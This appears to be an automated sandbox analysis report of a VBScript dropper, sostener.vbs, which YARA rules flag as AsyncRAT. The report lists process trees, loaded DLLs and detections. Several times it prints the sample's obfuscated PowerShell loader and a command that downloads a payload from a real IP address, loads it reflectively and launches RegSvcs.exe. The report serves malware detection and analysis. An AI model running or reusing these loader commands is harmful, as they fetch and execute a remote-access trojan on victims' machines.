HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: sostener.vbs

Static file information: File size 1977486 > 1048576

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell $ExeNy = 'J?Bx?Gs?dgB3?HI?I??9?C??Jw?w?Cc?Ow?k?Gk?YQBx?HU?Yw?g", "0", "false");

.NET source code contains potential unpacker

Source: 3.2.powershell.exe.18506078440.1.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])
Source: 3.2.powershell.exe.1851cfd0000.4.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])
Source: 3.2.powershell.exe.18504da3b80.2.raw.unpack, Class1.cs	.Net Code: ZxKHG System.AppDomain.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $ExeNy = 'J?Bx?Gs?dgB3?HI?I??9?C??Jw?w?Cc?Ow?k?Gk?YQBx?HU?Yw?g?D0?I??n?CU?c?B6?EE?YwBP?Gc?SQBu?E0?cg?l?Cc?OwBb?EI?eQB0?GU?WwBd?F0?I??k?Hk?dwBq?GQ?a??g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??o?E4?ZQB3?C0?TwBi?Go?ZQBj?HQ?I?BO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?Ck?LgBE?G8?dwBu?Gw?bwBh?GQ?UwB0?HI?aQBu?Gc?K??n?Gg?d?B0?H??Og?v?C8?OQ?x?C4?Mg?w?DI?Lg?y?DM?Mw?u?DE?Ng?5?C8?V?Bh?Gs?LwBS?GU?Zw?v?E0?YQBy?Ho?LwBE?FI?Rw?v?FI?V?BD?C8?Rg?z?GQ?b?Bs?C4?d?B4?HQ?Jw?p?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Hk?dwBq?GQ?a??p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?QwBs?GE?cwBz?Ew?aQBi?HI?YQBy?Hk?MQ?u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBa?Hg?SwBI?Ec?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?d?B4?HQ?Lg?x?Eo?R??v?FM?VgBO?EU?LwB6?HI?YQBN?C8?ZwBl?FI?LwBr?GE?V??v?Dk?Ng?x?C4?Mw?z?DI?Lg?y?D??Mg?u?DE?OQ?v?C8?OgBw?HQ?d?Bo?Cc?I??s?C??J?Bp?GE?cQB1?GM?I??s?C??JwBS?Gc?dgB1?Ec?Jw?s?C??J?Bx?Gs?dgB3?HI?L??g?Cc?MQ?n?Cw?I??n?FI?bwBk?GE?Jw?g?Ck?KQ?7??==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;$global:?

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B890962 push E85E465Dh; ret		1_2_00007FFD9B8909F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B890875 push E95E463Ch; ret		3_2_00007FFD9B890899

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
